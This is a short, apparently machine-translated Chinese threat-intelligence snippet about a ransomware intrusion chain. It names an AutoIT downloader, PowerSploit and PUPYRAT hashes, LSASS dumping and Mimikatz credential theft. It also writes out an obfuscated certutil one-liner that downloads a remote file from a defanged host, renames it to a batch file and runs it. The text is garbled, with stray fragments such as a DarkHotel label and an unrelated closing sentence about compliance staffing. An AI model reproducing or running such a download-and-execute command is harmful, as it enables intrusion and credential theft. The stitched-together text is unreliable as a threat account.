上半年勒索病毒进犯的一些数据有用载荷是一个AutoIT下载程序，它从hxxps://85.206.161[.]216:8080/HomePage.htm获取并履行其他PowerShell。 后续的PowerShell根据方针体系的架构，下载适宜的PowerSploit变种（MD5：c326f156657d1c41a9c387415bf779d4或0564706ec38d15e981f71eaf474d0ab8），并反射加载PUPYRAT（MD5：94cd86a0a4d747472c2b3f1bc3279d77或17587668AC577FCE0B278420B8EB72AC）。 该进犯者运用揭露可用的CVE-2019-0213缝隙提高权限，揭露可用的Windows SysInternals PROCDUMP转储LSASS进程，以及揭露供给的MIMIKATZ盗取其他凭证。 Managed Defense有助于受害者操控侵略。 .global _inject_start_s3.1.1DarkHotel

获取WiFi、设备厂商等信息C: && cd %TEMP% && c^e^r^tutil -urlca^che -spl^it -f https://881.000webhostapp[.]com/1.txt && ren 1.txt 1.bat && 1.bat && exit在D *** M的要求中这个简直都是相同的，每个进程域都需求指定专人和专岗担任该项作业，并可以担任此作业。